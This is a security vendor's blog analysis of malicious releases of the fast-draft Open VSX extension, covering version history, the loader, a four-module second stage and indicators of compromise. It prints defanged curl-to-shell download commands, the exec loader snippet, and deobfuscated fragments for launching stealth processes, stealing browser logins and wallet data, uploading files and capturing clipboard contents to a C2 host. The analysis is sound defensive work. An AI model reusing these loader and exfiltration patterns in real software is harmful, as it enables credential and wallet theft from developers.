Aikido

fast-draft Open VSX Extension Compromised by BlokTrooper

Written by
Raphael Silva

The KhangNghiem/fast-draft extension, listed on open-vsx.org/extension/KhangNghiem/fast-draft and now sitting above 26,000 downloads, had multiple malicious releases that execute a GitHub-hosted downloader and pull a second-stage RAT and infostealer from the BlokTrooper/extension repository. The confirmed malicious releases in the version line we inspected are 0.10.89, 0.10.105, 0.10.106, and 0.10.112.

What makes this case unusual is that the malicious releases are not continuous. Versions through 0.10.88 appear clean. 0.10.111 also appears clean, even though it sits between malicious versions, and the latest Open VSX release as of 2026-03-17, 0.10.135, does not contain the same loader either. That alternating pattern is hard to square with a maintainer intentionally shipping malware. The better fit is a compromised publisher or a stolen token.

As of 2026-03-17, the Open VSX API entry at open-vsx.org/api/KhangNghiem/fast-draft lists 0.10.135 as the latest version and reports 26,594 downloads for the extension overall. We disclosed the issue to the maintainer on 2026-03-12 via GitHub issue github.com/khangnghiem/fast-draft/issues/565, which was still open with no comments at the time of writing.

What Happened

Looking at the version line in order tells the story:

  • 0.10.88: Clean-looking. No known downloader path.
  • 0.10.89: Malicious. Introduces a GitHub-hosted shell downloader inside editor initialization.
  • 0.10.105: Malicious. Moves the loader to startup activation and adds a one-time guard.
  • 0.10.106: Malicious. Same startup loader, but the guard is removed.
  • 0.10.111: Clean-looking. Known downloader path disappears.
  • 0.10.112: Malicious. Startup downloader returns.
  • 0.10.129-135: Clean-looking. Latest checked versions, known downloader absent.

That is not the release pattern you expect from a single compromised build or a maintainer who has fully switched to malicious behavior. It looks more like two competing release streams sharing the same publisher identity.

How The Attack Worked

The malicious versions all use the same basic trick: the extension reaches out to raw[.]githubusercontent[.]com/BlokTrooper/extension and pipes the response straight into a shell.

In 0.10.89, the extension fetches platform-specific scripts from the repository's scripts/ directory:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

In 0.10.105, 0.10.106, and 0.10.112, the same idea is wrapped as an icons/${platform} fetch and tied to extension activation, likely also meant to evade some detection.

Those platform scripts then download ZIP archives, extract them into a temp directory, and run a bundled Node binary against an obfuscated temp payload. We already tore that payload apart in separate analysis. It is not a harmless test stub. It deploys four parallel modules:

  • A Socket.IO RAT with mouse, keyboard, screenshot, and clipboard control
  • A browser and wallet stealer that targets saved passwords, Web Data, and 25 crypto wallet extensions
  • A file exfiltration module that recursively uploads documents, keys, configs, source code, and secrets
  • A clipboard monitor that submits copied content back to the C2

The infrastructure is the same BlokTrooper/extension chain we previously deobfuscated, with config values resolving to 195[.]201[.]104[.]53, and active ports 6931, 6936, and 6939.

The Smoking Gun

The malicious 0.10.112 build restores startup activation and the raw GitHub downloader:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

The latest checked clean build, 0.10.135, does not show the same path. Its activation logic registers the editor provider and other extension plumbing, but the BlokTrooper downloader is absent.

That difference matters more than the generic heuristic noise from static scanners. This case needed manual version-by-version review because the clean builds still bundle normal process execution and AI provider integrations that can look suspicious to simplistic rules.

What The Second Stage Actually Does

The second stage is where this turns from a suspicious downloader into a full compromise.

The outer temp wrapper reconstructs the C2 address from hardcoded IP octets, suppresses runtime errors with process.on('uncaughtException', ()=>{}), and spawns four detached Node child processes with node -e. In other words, the extension does not just pull a payload. It pulls a small attack framework that fans out into separate concurrent jobs.

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

That comes directly from the deobfuscated wrapper and shows the operator hiding crashes while rebuilding IP strings from config fields rather than storing them as plain text.

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

This is the key stage-2 control point: one launcher script starts four separate in-memory modules and detaches them so they can keep running independently in the background.

Module 1: Remote Desktop RAT

The first child process connects back to http://195[.]201[.]104[.]53:6931 over Socket.IO and exposes a full remote-control channel.

It supports commands for:

  • mouse movement, clicks, and scrolling
  • key presses and key combinations
  • screenshots with JPEG compression
  • clipboard reads and writes
  • screen dimension lookup
  • system profiling and session control

The dependency set bundled inside the ZIP matches those capabilities exactly:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

On their own, dependencies are not enough to prove malicious behavior. In this case they matter because they line up with the already deobfuscated module layout: remote tasking over Socket.IO, desktop capture, image processing, clipboard access, and full keyboard and mouse automation.

The payload also checks whether it is running in a VM by looking for strings such as vmware, virtualbox, qemu, kvm, and xen in platform-specific system information. It does not stop when it finds a VM. It simply labels the host and continues. It also keeps a singleton PID lock under ~/.npm/ so it does not stack multiple instances on the same machine.

Module 2: Browser And Wallet Theft

The second child process walks browser profiles for Chrome, Edge, Brave, Opera, and LT Browser across macOS, Linux, and Windows. For each profile, it steals:

  • Login Data
  • Login Data For Account
  • Web Data
  • LevelDB state from wallet extensions

The wallet targeting is broad, not incidental. The hardcoded list includes MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo, and CoinStats, among others. On macOS it also grabs ~/Library/Keychains/login.keychain.

The data is staged under ~/npm-cache/__tmp__/cldbs/ and uploaded to http://195[.]201[.]104[.]53:6936/upload. After the initial sweep, the stealer keeps polling for new LevelDB files roughly every 100 seconds, which means it is built to catch wallet state changes over time rather than only doing a single smash-and-grab.

Fresh stage-2 decoding gives us a cleaner look at the browser theft module. It hardcodes wallet extension IDs and then iterates over browser profile data, login databases, and LevelDB-backed extension state:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

In the same decoded blob, those path constants resolve to /Login Data, /Login Data For Account, /Web Data, and /Local Extension Settings/, while the uploader uses FormData, fs.createReadStream, /cldbs, and /upload.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

Module 3: Document And Secret Theft

The third child process recursively scans the home directory, or all drives on Windows, for sensitive files. The target patterns include:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • common image formats

The exclusion list is also telling. It skips noisy paths like node_modules, .git, dist, and build, but it also explicitly skips folders like .windsurf, .pearai, .claude, .cursor, .brownie, and openzeppelin. That suggests the operator is not just stealing random files. They know that developer machines, crypto tooling, and AI-assisted coding environments are high-value targets.

The decoded file-theft strings are explicit about both what gets collected and what gets skipped:

const u = [".github", "*.env*", ".sqlite", "*.csv", "*.pdf", ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"

This is tuned for developer workstations, source trees, key material, shell history, and high-value local state from modern coding environments.

Module 4: Clipboard Surveillance

The fourth child process polls the clipboard every couple of seconds and waits for content to stabilize before submitting it to the C2.

  • On macOS it uses pbpaste
  • On Windows it shells out to powershell -NoProfile -NonInteractive Get-Clipboard
  • On Linux it falls back to clipboardy

Changed clipboard contents are sent to /api/service/makelog, which means copied seed phrases, passwords, API keys, and recovery codes can be exfiltrated even if they are never written to disk.

The clipboard module's decoded string blob is unusually direct:

"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process","http://"

Those strings sit together in the stage-2 clipboard code and match the earlier behavior we saw during deobfuscation: platform-specific clipboard collection followed by submission to the operator logging route.

The Clean Gap Matters

The clean versions are what make this case worth looking at as a likely publisher compromise instead of just “an extension went rogue”.

We manually checked 0.10.88, 0.10.111, and 0.10.129-135 for the concrete indicators present in the malicious builds:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • the fd.onlyOncePlease guard used by the startup loader
  • socket.io-client
  • /upload
  • /cldbs
  • pbpaste
  • Get-Clipboard

Those known indicators were absent in the clean-looking versions, and their activation flow looked like normal extension registration rather than a downloader. That is especially important for 0.10.111, which sits right between malicious 0.10.106 and 0.10.112, and for 0.10.135, which is currently the latest Open VSX release.

If the maintainer were knowingly shipping the malware, the version history would more likely stay malicious until discovery or cleanup. Instead, we see malicious releases come and go while the public issue remains unanswered. That is consistent with stolen publishing access or some other compromise of the release path.

Indicators Of Compromise

  • Extension ID: KhangNghiem.fast-draft
  • Malicious versions: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • Stage-1 host: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • C2 IP: 195[.]201[.]104[.]53
  • Ports: 6931, 6936, 6939
  • Exfil routes: /upload, /cldbs, /api/service/makelog

Share:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

Subscribe for threat news.

Start today, for free.

Start for Free
No CC required
4.7/5
Tired of false positives?

Try Aikido like 100k others.
Start Now
Get a personalized walkthrough

Trusted by 100k+ teams

Book Now
Scan your app for IDORs and real attack paths

Trusted by 100k+ teams

Start Scanning
See how AI pentests your app

Trusted by 100k+ teams

Start Testing
Check if you are at risk

Scan your dependencies for malicious packages

Start Now

Get secure now

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required | Scan results in 32secs.